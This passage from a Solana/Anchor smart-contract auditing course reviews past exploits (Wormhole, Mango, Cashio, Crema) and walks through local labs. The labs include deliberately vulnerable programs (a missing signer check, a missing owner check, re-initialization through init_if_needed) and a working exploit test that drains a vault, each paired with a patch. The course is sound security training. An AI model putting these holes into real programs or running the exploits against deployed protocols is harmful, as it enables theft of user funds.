Arbitrary CPIUnrestricted external calladdress = ... constraint or Program<'info, T>
Sysvar substitutionNoneaddress = sysvar::...::ID
Re-initUninitialized proxyAvoid init_if_needed; explicit first-call guard
ClosingNone directlyclose = recipient constraint
OverflowSolidity 0.8+ auto-guardsoverflow-checks = true + checked_*
Insecure randomnessblock.prevrandao misuseSwitchboard / Pyth VRF
Duplicate writable accountsNoneExplicit key() != key() check
Stale post-CPI readReentrancy / state-after-call.reload()
Remaining-accountsNoneManual per-iteration validation

5. Case Studies — Mini

5.1 Wormhole — February 2022 — ~$326M

Already detailed in §4.8. The takeaways:

  • Sysvar address not pinned → fake sysvar passed → fake “Secp256k1 was called earlier” claim believed.
  • Fix had been committed to public repo before deploy. Lesson: closed disclosure for high-value bridges.
  • Jump Trading replaced the stolen ETH; protocol survived. Reputation did not.

Auditor’s take: when reviewing a bridge that uses cross-instruction context (i.e., “instruction at index N did such-and-such”), every account participating in that context must be explicitly pinned. The instructions sysvar is the most-forgotten one because it “feels” like infrastructure, not user input. It is user input.

5.2 Mango Markets — October 2022 — ~$117M

The attack:

  1. Eisenberg opened two accounts on Mango with ~$5M USDC each.
  2. From account A, opened a long perpetual on MNGO (Mango’s governance token).
  3. From account B, opened the equal short.
  4. With ~$10M of additional capital, pumped MNGO spot price 13× across thin order books across Solana DEXs.
  5. The Pyth oracle Mango consumed reported the inflated price.
  6. Account A’s MNGO long was now wildly profitable on paper.
  7. Used the unrealized P&L as collateral to borrow against the inflated position — drained ~$117M of stablecoins / other assets from Mango’s lending side.
  8. Closed positions; loss crystallized on Mango.

Not a Solana-specific bug in the strict sense — it’s an oracle/economic-design failure, the same shape as bZx 2020 (Week 6 / Week 9 territory). But it lives on Solana because (a) Solana’s parallel execution + low fees made the manipulation transaction cheap and fast, and (b) Mango’s perp + lending cross-margin design didn’t apply position-size / liquidity haircuts to thinly-traded markets.

Legally, the case is unsettled — convictions were vacated in 2025 [verify status]. Operationally, the auditor takeaway is concrete: for any market-priced asset used as collateral, model the cost of moving the price by N% across the available venues; if that cost is less than the potential gain from manipulation, it’s not collateral, it’s a bag of leverage waiting to detonate.

5.3 Cashio — March 2022 — ~$48M

Detailed in §4.2. Missing owner check on collateral account. Attacker provided a System-owned account claiming to be a Saber LP token balance; the program parsed the bytes and trusted them. 2 billion CASH minted from nothing; drained the stable swap pools holding real USDC/UST.

Auditor’s take: this is the first check an EVM auditor would miss because the EVM has no “you pass in the source-of-truth account” model. Anchor’s Account<'info, T> for the partner-program account, or explicit owner = collateral_program::ID, fixes it in one line.

5.4 Crema Finance — July 2022 — ~$8.8M

Fake tick array account on a concentrated-liquidity pool. The CLMM logic read fee-growth data from a tick-array account but didn’t verify the account was the pool’s actual tick array. Attacker flash-loaned liquidity, opened a position, swapped in a fake tick-array account whose values made the position look like it had accumulated huge fees, claimed those “fees”, repaid the flash loan.

Same family as Cashio — account validation gap, different protocol shape.

5.5 Cross-cutting pattern

If you squint, every Solana protocol exploit above is one of:

  1. A passed-in account wasn’t what the program assumed. (Cashio, Crema, Wormhole.)
  2. Oracle/economic-design failure. (Mango, Nirvana.)

For class 1, the fix is constraints; for class 2, the fix is design. EVM auditors are reasonably good at class 2 by Phase 3. Class 1 is the new muscle to build.


6. Solana-Specific Audit Operational Differences

TopicEVMSolana
Upgrade mechanismProxy patterns (UUPS, transparent, beacon, diamond)BPF loader upgrade authority; can be renounced
Audit-trail of upgradesEtherscan + EIP-1967 slot readssolana program show <id> → upgrade authority + slot of last upgrade
Source verificationEtherscan verified sourceAnchor IDL on chain + Sec3 verify / OtterSec verify; less universal than EVM
DecompilationFamiliar tooling (Etherscan, Dedaub)BPF disassembly via solana-bpfdump / Ackee tools; more niche
MempoolPublic mempool (Ethereum)No public mempool; leader-only visibility; FCFS-ish via Jito bundles
MEV modelBuilder/relay split (PBS)Jito tip-based ordering; leaders extract MEV
Storage costsGas per SSTORERent-exempt deposit (refundable)
ReorgsRare post-Merge, finality after ~12.8 minMulti-second reorgs historically; SuperMajority commitment usually safe for bridges; [verify Solana finality / commitment guarantees as of 2026]
Audit firms specializingOZ, ToB, Spearbit, Cyfrin, HalbornOtterSec, Neodyme, Halborn, Trail of Bits, Ackee, Sec3

For an audit deliverable on Solana, you must include:

  • Upgrade authority status of every audited program. Set to a single key? Multisig? Renounced? Document.
  • Trust assumptions that include the SPL Token, ATA, system program, and any partner programs CPI’d. These are dependencies; flag them.
  • PDA derivation map: every PDA the program holds custody of, its seeds, and what privileges the program can assert via invoke_signed. This is your “what can this program do with users’ funds” matrix.
  • Sysvar pinning audit: every sysvar reference is pinned by address.
  • Cargo.toml review: overflow-checks, init-if-needed feature flag, dependencies (cargo audit output).

7. Solana Security Tooling — current state

ToolWhat it doesStatus (2026)
cargo auditRust dependency CVE scannerStable, baseline
cargo clippyRust lintStable; catches some bug-prone idioms
Anchor frameworkConstraint DSL (constructs above)The primary defense; v0.30+ recommended [verify current minor]
Trident (Ackee)Open-source Solana program fuzzer; honggfuzz-backed; Anchor-awareFirst open-source fuzzer for Solana, active development; integrates with IDL [verify version]
Sealevel Attacks (coral-xyz)Runnable PoC repo for each vuln classEducational; not a scanner
Sec3 (formerly Soteria)Commercial static analyzer for SolanaCommercial; widely used in audits
OtterSec X-RayInternal tool; some open releasesCommercial / partial-open
Solana VerifyReproducible build verificationUseful for binary-vs-source matching pre-audit
Halmos / Certora / formal verificationSymbolic execution and formal proofsLimited Solana support compared to EVM; [verify state of formal tooling for Rust BPF programs]

The fuzzing story on Solana lags EVM (Echidna / Medusa / Foundry invariant testing are very mature on EVM). Trident is closing the gap; expect significant tooling improvements through 2026. [verify]

For audits today, the workflow is:

  1. Static review — manual constraint audit (the primary value-add of an auditor).
  2. cargo audit + cargo clippy baseline.
  3. Anchor IDL → Trident fuzz harness for instruction-level fuzzing.
  4. Local validator + custom client to run hand-written PoC tests against the deployed program.
  5. Sec3 / Soteria if available to the audit firm.

8. Lab — Anchor Local Dev + Three Exploit PoCs

8.1 Setup — Anchor toolchain

The lab assumes a Unix-like machine. Times are approximate.

# Install Rust
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
rustup component add rustfmt
 
# Install Solana CLI
sh -c "$(curl -sSfL https://release.anza.xyz/stable/install)"
solana --version    # expect 1.18+ as of 2026 [verify]
 
# Install Anchor via avm
cargo install --git https://github.com/coral-xyz/anchor avm --force
avm install latest
avm use latest
anchor --version    # expect 0.30+ [verify]
 
# Install Node + yarn for client code
# (skipped: use your existing Node setup)

Configure local cluster:

solana config set --url localhost
solana-keygen new --no-bip39-passphrase -o ~/.config/solana/id.json
solana-test-validator    # in a separate terminal; leave running

Verify:

solana airdrop 100
solana balance

8.2 Lab structure

~/web3-sec-lab/bonus-solana/
├── 01-missing-signer/
├── 02-missing-owner/
├── 03-reinit/
└── 04-spl-audit/

Each is an Anchor workspace: anchor init <name> to scaffold.

8.3 Lab 1 — Missing is_signer Check

Goal: write a deliberately vulnerable program where the “admin” is not actually required to sign; exploit it.

cd ~/web3-sec-lab/bonus-solana
anchor init 01-missing-signer
cd 01-missing-signer

Replace programs/01-missing-signer/src/lib.rs:

use anchor_lang::prelude::*;
 
declare_id!("Sig11111111111111111111111111111111111111111");
 
#[program]
pub mod missing_signer {
    use super::*;
 
    pub fn initialize(ctx: Context<Initialize>) -> Result<()> {
        let cfg = &mut ctx.accounts.config;
        cfg.admin = ctx.accounts.admin.key();
        cfg.balance = 1_000_000_000; // 1 SOL conceptually
        Ok(())
    }
 
    pub fn admin_withdraw(ctx: Context<AdminWithdraw>) -> Result<()> {
        let cfg = &mut ctx.accounts.config;
        // BUG: only pubkey check; no is_signer enforcement
        require!(cfg.admin == ctx.accounts.admin.key(), MyError::NotAdmin);
        msg!("Withdrawing {} lamports to {}", cfg.balance, ctx.accounts.admin.key());
        cfg.balance = 0;
        Ok(())
    }
}
 
#[derive(Accounts)]
pub struct Initialize<'info> {
    #[account(init, payer = payer, space = 8 + 32 + 8)]
    pub config: Account<'info, Config>,
    #[account(mut)]
    pub payer: Signer<'info>,
    /// CHECK: the admin pubkey to set
    pub admin: AccountInfo<'info>,
    pub system_program: Program<'info, System>,
}
 
#[derive(Accounts)]
pub struct AdminWithdraw<'info> {
    #[account(mut)]
    pub config: Account<'info, Config>,
    /// CHECK: BUG — should be Signer<'info>
    pub admin: AccountInfo<'info>,
}
 
#[account]
pub struct Config {
    pub admin: Pubkey,
    pub balance: u64,
}
 
#[error_code]
pub enum MyError {
    #[msg("Not admin")]
    NotAdmin,
}

Client exploit (tests/missing-signer.ts):

import * as anchor from "@coral-xyz/anchor";
import { Program } from "@coral-xyz/anchor";
import { MissingSigner } from "../target/types/missing_signer";
import { Keypair, SystemProgram } from "@solana/web3.js";
import { assert } from "chai";
 
describe("missing-signer exploit", () => {
  const provider = anchor.AnchorProvider.env();
  anchor.setProvider(provider);
  const program = anchor.workspace.MissingSigner as Program<MissingSigner>;
 
  it("legitimate admin initializes; attacker withdraws", async () => {
    const adminKp = Keypair.generate();
    const attackerKp = Keypair.generate();
    const configKp = Keypair.generate();
 
    // Airdrop the attacker (so they have a fee payer)
    const sig = await provider.connection.requestAirdrop(attackerKp.publicKey, 1e9);
    await provider.connection.confirmTransaction(sig);
 
    // Honest init: admin = adminKp.publicKey
    await program.methods.initialize()
      .accounts({
        config: configKp.publicKey,
        payer: provider.wallet.publicKey,
        admin: adminKp.publicKey,        // never signs — just a pubkey
        systemProgram: SystemProgram.programId,
      })
      .signers([configKp])
      .rpc();
 
    let cfg = await program.account.config.fetch(configKp.publicKey);
    assert.equal(cfg.admin.toBase58(), adminKp.publicKey.toBase58());
 
    // Attacker: calls admin_withdraw passing adminKp.publicKey as "admin"
    // — never actually signs with adminKp's key
    await program.methods.adminWithdraw()
      .accounts({
        config: configKp.publicKey,
        admin: adminKp.publicKey,  // passed by pubkey only
      })
      // Note: NO signers list — attacker only signs as fee payer
      .signers([])
      .rpc({ skipPreflight: true });
 
    cfg = await program.account.config.fetch(configKp.publicKey);
    assert.equal(cfg.balance.toNumber(), 0, "vault drained by attacker");
  });
});

Run:

anchor test

Expect: test passes, demonstrating that the attacker drained the vault without holding adminKp.

Task — patch and re-run: change pub admin: AccountInfo<'info> to pub admin: Signer<'info> in AdminWithdraw. Re-run; the exploit should now fail with AccountNotSigner.

8.4 Lab 2 — Missing Owner Check (Cashio-Lite)

Goal: reproduce a Cashio-style fake-collateral attack.

Scaffold 02-missing-owner. The program is a “bank” that mints BANK tokens against a collateral account whose balance it reads directly.

use anchor_lang::prelude::*;
 
declare_id!("Own11111111111111111111111111111111111111111");
 
#[program]
pub mod missing_owner {
    use super::*;
 
    pub fn mint_against_collateral(
        ctx: Context<Mint>,
        amount: u64,
    ) -> Result<()> {
        // Parse "collateral balance" from the collateral account
        let collateral_data = ctx.accounts.collateral.data.borrow();
        require!(collateral_data.len() >= 16, MyError::BadCollateral);
        let claimed_balance = u64::from_le_bytes(
            collateral_data[8..16].try_into().unwrap()
        );
        // BUG: no owner check on collateral account
        require!(claimed_balance >= amount, MyError::InsufficientCollateral);
 
        // Credit the user
        let user_acct = &mut ctx.accounts.user_account;
        user_acct.balance = user_acct.balance.checked_add(amount).unwrap();
        Ok(())
    }
 
    pub fn init_user(ctx: Context<InitUser>) -> Result<()> {
        ctx.accounts.user_account.balance = 0;
        ctx.accounts.user_account.owner = ctx.accounts.user.key();
        Ok(())
    }
}
 
#[derive(Accounts)]
pub struct Mint<'info> {
    #[account(mut, has_one = owner)]
    pub user_account: Account<'info, UserAccount>,
    pub owner: Signer<'info>,
    /// CHECK: BUG — no owner constraint
    pub collateral: AccountInfo<'info>,
}
 
#[derive(Accounts)]
pub struct InitUser<'info> {
    #[account(init, payer = user, space = 8 + 32 + 8)]
    pub user_account: Account<'info, UserAccount>,
    #[account(mut)]
    pub user: Signer<'info>,
    pub system_program: Program<'info, System>,
}
 
#[account]
pub struct UserAccount {
    pub owner: Pubkey,
    pub balance: u64,
}
 
#[error_code]
pub enum MyError {
    #[msg("Bad collateral layout")] BadCollateral,
    #[msg("Insufficient collateral")] InsufficientCollateral,
}

Client exploit:

  1. Attacker creates a system-owned account with arbitrary bytes whose offset 8..16 decodes to u64::MAX.
  2. Calls mint_against_collateral(amount = 1_000_000_000).
  3. Their user_account.balance jumps to a billion, backed by zero real collateral.
// abbreviated exploit
const fakeCollateral = Keypair.generate();
const space = 16;
const lamports = await provider.connection.getMinimumBalanceForRentExemption(space);
const create = SystemProgram.createAccount({
  fromPubkey: provider.wallet.publicKey,
  newAccountPubkey: fakeCollateral.publicKey,
  lamports,
  space,
  programId: SystemProgram.programId,  // owned by system, NOT our program
});
// Write 0xFFFFFFFFFFFFFFFF at offset 8 via memcpy / setData via direct transaction
// (in practice use a tiny helper program that writes data when called by the creator)
// ... then call mint_against_collateral with this fake account

Patch: add an owner = legitimate_collateral_program::ID constraint or, for this lab, change the design to require collateral to be a PDA of this program with a verified seeds derivation. Re-run; exploit fails.

8.5 Lab 3 — Re-Initialization via init_if_needed

Goal: reproduce a profile-takeover via the init_if_needed foot-gun.

Scaffold 03-reinit. The program lets users register a “profile” PDA seeded by some target pubkey, and writes profile.authority = caller. With init_if_needed, a second caller overwrites authority.

// Cargo.toml: anchor-lang = { version = "0.30.0", features = ["init-if-needed"] }
 
#[program]
pub mod reinit {
    use super::*;
 
    pub fn touch_profile(ctx: Context<TouchProfile>, name: String) -> Result<()> {
        let p = &mut ctx.accounts.profile;
        p.authority = ctx.accounts.caller.key();   // BUG: rewrites every call
        p.name = name;
        Ok(())
    }
}
 
#[derive(Accounts)]
#[instruction(name: String)]
pub struct TouchProfile<'info> {
    #[account(
        init_if_needed,
        payer = caller,
        space = 8 + 32 + 4 + 64,
        seeds = [b"profile", target.key().as_ref()],
        bump,
    )]
    pub profile: Account<'info, Profile>,
    /// CHECK: who the profile belongs to
    pub target: UncheckedAccount<'info>,
    #[account(mut)]
    pub caller: Signer<'info>,
    pub system_program: Program<'info, System>,
}
 
#[account]
pub struct Profile { pub authority: Pubkey, pub name: String }

Exploit:

  1. Victim calls touch_profile with target = victim. The profile’s authority is set to victim.
  2. Attacker calls touch_profile with target = victim (same target, same PDA) and caller = attacker. authority is overwritten to attacker.
  3. Any downstream instruction that checks profile.authority now sees the attacker.

Patch: gate the authority assignment on first-init, as shown in §4.6. Or remove init_if_needed and split into create + update.

8.6 Lab 4 — Read a real SPL example and find the gaps

Goal: practice reading unknown Solana code.

git clone https://github.com/solana-labs/solana-program-library
cd solana-program-library/token/program

Read processor.rs. For each instruction handler:

  1. List the accounts the instruction takes.
  2. List the constraints actually enforced (owner, signer, mint match, etc.).
  3. Identify any handler where you’d want an additional check.

The SPL token program has been audited many times — you’re not likely to find a real bug — but the exercise is to internalize what a secure Solana program looks like. The “before-state” of every privileged op in SPL token is a battery of is_signer checks, owner checks, and explicit pubkey comparisons. Internalize.

8.7 Stretch — Trident fuzzing harness

Pick one of the labs above (likely Lab 2). Initialize a Trident fuzz target:

cargo install trident-cli   # [verify package name + version]
trident init

Configure the fuzz harness to randomize: caller, collateral-account contents, amount. Run for an hour. Observe whether Trident discovers the bypass independently. Report findings to your audit notebook.

This stretch is the entry point to Solana fuzzing. Expect rapid tooling improvement in 2026; revisit Trident’s docs quarterly.

8.8 Expected learning outcome

After these labs you should be able to:

  • Scaffold an Anchor program from zero and write a client in TS.
  • Reproduce signer / owner / re-init bugs without referring to a guide.
  • Identify the missing constraint in unfamiliar Anchor code at a glance.
  • Articulate the difference between EVM reentrancy and Solana account-validation gaps.
  • Translate Phase 2 audit reflexes to Solana with the right caveats.

9. Anti-patterns (add to master checklist, Solana section)

  • AccountInfo<'info> or UncheckedAccount<'info> used without an explicit /// CHECK: comment justifying what validation is performed instead.
  • Privileged account is AccountInfo (pubkey only); should be Signer<'info>.
  • Foreign program’s account passed without owner = ... constraint or explicit runtime owner check.
  • init_if_needed used without first-call-only field guards in the instruction body.
  • Account-close logic written manually (**lamports.borrow_mut() = 0) without zeroing data and reassigning owner.
  • Sysvar read via AccountInfo without address = sysvar::...::ID.
  • CPI target program is AccountInfo without address = ....
  • PDA referenced without seeds + bump constraint, or with non-canonical bump.
  • has_one constraint missing where one account references another by pubkey.
  • Token account used without token::mint and token::authority constraints.
  • Two writable accounts that should differ — no key() != key() check.
  • Anchor account state read after a CPI without .reload().
  • remaining_accounts iterated without per-element validation.
  • Cargo.toml [profile.release] overflow-checks = false (or unset) with no checked_* arithmetic in financial paths.
  • Casting via as u64 (truncating) in financial calcs; should be try_from.
  • Division before multiplication in rate/ratio computations.
  • Slot or timestamp used as RNG source.
  • Upgrade authority on the deployed program is a single EOA (not multisig / not renounced) with no documented governance.
  • Anchor version with known advisories (e.g., InterfaceAccount discriminator bypass) [verify current advisories at audit time].

10. Trade-offs and Open Debates

DecisionOption AOption BAuditor’s view
FrameworkAnchorNative (raw Pinocchio / solana-program)Anchor default. The constraint DSL is a force multiplier for security review. Native makes sense only for ultra-performance-critical programs (e.g., very high-throughput AMMs) — and those should be re-audited line by line.
init_if_neededUse for convenienceForbid; split into create + updateForbid. The convenience is not worth the foot-gun. Audit finding if used without explicit justification + first-call guards.
Overflow checksoverflow-checks = true in releaseUse checked_* everywhereBoth. Defense in depth. Compute-budget cost is ~10–20%; with current SVM throughput, generally acceptable.
Upgrade authoritySingle keyMultisig (Squads etc.)Multisig always. Single-key upgrade authority on a program holding user funds is an audit Medium-or-higher finding by itself.
Closed-source pre-deployAudit private, deploy private, disclose post-deployOpen-source from day 1For high-value bridges and primitives: private until deployed with the fix. Wormhole’s lesson is the canonical case.
Account modelMany small typed accountsFew large multi-purpose accountsMany typed accounts. Anchor’s discriminator + size enforcement gives more safety than internal “type field” tagging.
PDA bump storageStore bump in accountRe-derive every callStore. The compute savings matter; canonical-bump invariant maintained either way if Anchor seeds/bump is used consistently.

11. Quiz (≥80% to advance)

  1. Q: A Solana program has a function gated by require!(admin.key() == config.admin) where admin: AccountInfo<'info>. What’s the bug, and how does Anchor fix it?

    A: The check verifies the pubkey is the admin’s but not that the admin signed the transaction. Any caller can pass the admin’s pubkey. Fix: change admin: AccountInfo<'info> to admin: Signer<'info>, which makes Anchor enforce is_signer.

  2. Q: An EVM auditor reading Solana code sees pub vault: Account<'info, Vault>. What two protections does Anchor automatically apply?

    A: (1) Verifies the account’s owner is the current program. (2) Verifies the 8-byte discriminator matches the Vault type, preventing type confusion.

  3. Q: What is the Cashio bug class in one sentence, and what Anchor constraint prevents it?

    A: Cashio failed to verify the owner of a collateral account it parsed, allowing a fake collateral account to inflate balances. Prevented by #[account(owner = legitimate_program::ID)] on the collateral input (or by using a typed Account<'info, T> from the trusted program’s crate, which implicitly enforces the owner).

  4. Q: Why is init_if_needed dangerous?

    A: If the instruction body unconditionally writes ownership/authority fields, an attacker can call the instruction a second time and overwrite them on the already-initialized account. Mitigation: gate the writes on first-init (e.g., check authority == Pubkey::default()), or split into create and update.

  5. Q: What’s the “revival attack” on a closed Solana account, and how does Anchor’s close = recipient defend against it?

    A: Manually closing an account by zeroing lamports leaves the data intact and the owner unchanged until end-of-transaction GC. A re-fund within the same tx prevents GC, leaving the data and owner usable. Anchor’s close = recipient zeros the data buffer and reassigns ownership to the system program in addition to draining lamports — eliminating both the data-revival and the program-re-write surface.

  6. Q: An Anchor program reads Clock::slot and uses its low bits as a random number for a lottery. Why is this insecure?

    A: Slot is leader-controllable to some degree (the leader can refuse to produce or can time their own transactions across slots). Same as block.prevrandao misuse in EVM. Use a VRF (Switchboard, Pyth).

  7. Q: A Solana program does vault.balance += deposit_amount. The crate has overflow-checks unset. What’s the audit finding?

    A: Rust release builds wrap silently on overflow; an attacker can craft a deposit that wraps the balance near zero (or a sequence of operations that wrap in a critical comparison). Finding: enable overflow-checks = true and/or use checked_add on all financial arithmetic. Severity depends on access controls; if anyone can deposit, this is generally Medium-to-High.

  8. Q: A program CPI’s into a “ledger” program supplied as pub ledger_program: AccountInfo<'info>. What’s the bug class and the fix?

    A: Arbitrary CPI. The attacker can pass a malicious program with the same instruction interface; the calling program’s privileges (including PDA-signing authority) transfer to the attacker’s code. Fix: #[account(address = ledger::ID)] or wrap as Program<'info, Ledger>.

  9. Q: An EVM auditor claims “Solana has no reentrancy”. Where is this true, where is it false?

    A: True in the EVM sense (single-function or cross-function reentrancy via mid-state external calls) because Sealevel limits CPI depth (4 [verify]) and disallows direct self-recursion. False in spirit: the state-staleness analog exists — an Anchor account view after a CPI is stale unless .reload() is called, leading to bugs that resemble cross-function reentrancy in shape.

  10. Q: You audit a bridge that uses the Solana Instructions sysvar to confirm a Secp256k1 signature verification ran earlier in the transaction. What’s the single most important check?

    A: That the instructions account passed to your program is pinned to the real instructions sysvar address (Sysvar1nstructions1111111111111111111111111), either via Anchor’s #[account(address = sysvar::instructions::ID)] or an explicit runtime check. Failure here is the Wormhole-2022 class of bug — fake sysvar → fake “earlier instruction ran” claim → unauthorized mint of $326M.


12. Bonus Deliverables

  • Three working PoCs (Labs 1–3) with both vulnerable and patched versions; tests pass / fail correctly per direction.
  • Lab 4 audit notes: a list of the constraints enforced in 5+ SPL token instructions, with a sentence per instruction explaining what each constraint defends against.
  • (Stretch) Trident fuzz harness for Lab 2 with a brief report on whether the fuzzer found the bypass.
  • Personal “Anchor constraint cheat sheet” — your own one-page summary of the constraint DSL.
  • Notes file: side-by-side checklist mapping each EVM Phase-2 audit item to its Solana analog (or “no analog” / “different”).
  • One paragraph: “If a client hired me tomorrow to audit a small Anchor program, what’s my hour-by-hour plan for the first day?“

13. Where this leads

Next in the bonus track: Tuan-Bonus-Non-EVM-CosmWasm-Move. CosmWasm is yet another execution model (WebAssembly + message-passing reply / sudo / migrate handlers); Move (Aptos, Sui) introduces the resource type system and a fundamentally different ownership semantic. Where Solana taught you to “verify every passed-in account”, CosmWasm will teach you to “verify every reply handler and message flow”, and Move will teach you to “respect the type system — it does work for you that you’d have to do by hand on Solana”.

By the end of the non-EVM bonus track you can audit any of the four major L1 paradigms (EVM, SVM, CosmWasm, Move) at a credible junior level. That breadth is increasingly required at top firms — multi-chain protocols expect their auditors to cover all targets in scope.

Where this connects back to the main track:


Last updated: 2026-05-16 See also: Roadmap · References · MOC-Web3-Security-Mastery · Tuan-Bonus-Non-EVM-CosmWasm-Move · Tuan-05-Vulnerability-Classes-Part-1 · Tuan-10-Bridge-Cross-Chain-Security · Case-Wormhole-2022